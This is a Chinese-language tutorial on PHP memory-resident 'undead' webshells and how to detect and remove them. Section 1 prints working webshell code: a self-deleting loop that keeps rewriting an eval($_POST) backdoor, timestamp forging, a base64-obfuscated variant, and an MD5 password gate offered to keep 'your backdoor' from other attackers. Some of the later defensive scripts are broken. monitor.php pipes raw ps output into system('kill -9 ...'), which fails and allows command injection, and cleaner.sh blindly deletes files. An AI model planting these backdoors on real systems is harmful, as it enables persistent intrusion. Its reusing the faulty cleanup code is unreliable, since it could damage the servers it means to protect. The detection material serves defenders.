1. PHP不死马的核心原理剖析
1.1 什么是PHP不死马
PHP不死马是一种特殊的内存驻留型后门脚本,它通过删除自身文件并利用无限循环机制,将恶意代码持久化保存在PHP进程内存中。与传统webshell最大的区别在于——它没有实体文件。攻击者上传一个PHP脚本后,该脚本会立即删除自身,同时通过死循环不断生成新的恶意文件或维持内存中的后门代码。
我曾在实际渗透测试中遇到过这样的案例:攻击者利用文件上传漏洞植入了一个仅3KB的PHP文件,服务器重启后这个后门依然存在。后来发现这就是典型的不死马,它通过进程驻留实现了"打不死的小强"效果。
1.2 关键技术实现机制
先看一个基础不死马代码示例:
<?php ignore_user_abort(true); // 断开连接后继续执行 set_time_limit(0); // 取消脚本执行时间限制 unlink(__FILE__); // 删除自身文件 $file = 'shell.php'; $code = '<?php @eval($_POST["cmd"]); ?>'; while(1){ file_put_contents($file, $code); system('touch -m -d "2020-01-01" '.$file); // 修改文件时间 usleep(50000); // 50毫秒间隔 } ?>核心函数解析:
ignore_user_abort(true):保证即使用户关闭浏览器,脚本仍继续运行set_time_limit(0):取消PHP默认的30秒执行限制unlink(__FILE__):自删除操作的关键usleep():控制循环间隔,影响查杀难度
1.3 高级变种与隐蔽技术
在实际攻击中,攻击者会采用更隐蔽的手段:
时间混淆技术:
system('touch -m -d "2021-08-11 12:00:00" shell.php');通过修改文件时间戳,绕过find -mtime等基于时间的检测命令。
内容混淆示例:
$code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7Pz4='); // 解码后实际是 <?php eval($_POST['c']);?>MD5认证防护:
if(md5($_GET['key']) == "1a1dc91c907325c69271ddf0c944bc72"){ @eval($_POST['cmd']); }这种方式可以防止其他攻击者滥用你的后门。
2. 不死马的实战检测方法
2.1 进程级检测手段
查看异常PHP进程:
ps aux | grep php # 重点关注长时间运行的PHP进程 top -c | grep php进程树分析:
pstree -p | grep php # 不死马通常会存在多个子进程我曾通过以下命令发现异常:
# 统计PHP进程运行时长 ps -eo pid,comm,etime | grep php2.2 文件系统监控技巧
inotify实时监控:
inotifywait -m -r /var/www/html -e create,modify特殊查找命令:
# 查找近期被修改但大小异常的PHP文件 find /var/www -name "*.php" -size -5k -mtime -1 # 查找异常时间戳文件 find /var/www -name "*.php" ! -newermt "2023-01-01"2.3 网络连接分析
检测异常外连:
netstat -antp | grep php lsof -i -P -n | grep php流量抓包分析:
tcpdump -i eth0 port 80 -w php_traffic.pcap3. 彻底查杀不死马的实战方案
3.1 服务重启方案
完整重启流程:
# 1. 停止PHP-FPM service php-fpm stop # 2. 杀死残留进程 pkill -9 php-fpm pkill -9 php # 3. 清理临时文件 find /tmp -name "sess_*" -delete # 4. 重启服务 service php-fpm start注意:某些环境下可能需要重启整个Web服务器(如Apache/Nginx)
3.2 条件竞争清除法
创建一个竞争脚本compete.php:
<?php ignore_user_abort(true); set_time_limit(0); $file = 'shell.php'; $clean = "<?php //cleaned by admin ?>"; while(1){ file_put_contents($file, $clean); usleep(3000); // 必须比不死马的间隔短 } ?>关键点:竞争脚本的usleep时间要小于不死马的休眠时间。
3.3 文件系统锁定方案
创建不可变文件:
touch shell.php chattr +i shell.php目录锁定:
chattr +i /var/www/html/upload/4. 防御体系建设指南
4.1 PHP安全配置建议
php.ini关键配置:
disable_functions = exec,passthru,shell_exec,system,proc_open,popen open_basedir = /var/www/html:/tmp expose_php = Off request_terminate_timeout = 30 # 防止不死马长期运行4.2 文件监控系统部署
推荐使用以下工具组合:
- Auditd:内核级文件监控
- OSSEC:实时文件完整性检查
- Chkrootkit:后门检测
Auditd配置示例:
auditctl -w /var/www/html -p wa -k web_content4.3 防御性脚本示例
自动清理脚本cleaner.sh:
#!/bin/bash while true; do find /var/www -name "*.php" -mmin -5 -exec grep -l "eval(" {} \; | xargs rm -f sleep 60 done进程监控脚本monitor.php:
<?php $allowed = ['/usr/sbin/php-fpm']; while(1){ $procs = shell_exec('ps -eo command | grep php'); foreach(explode("\n",$procs) as $proc){ if(!in_array($proc, $allowed)){ system("kill -9 ".$proc); } } sleep(10); }在真实攻防演练中,我曾见过攻击者使用变种不死马,它不再生成实体文件,而是直接通过共享内存保持驻留。这种情况下,传统的文件监控完全失效,必须结合进程行为分析和内存取证才能发现。这也提醒我们,安全防御需要层层递进,不能依赖单一防护手段。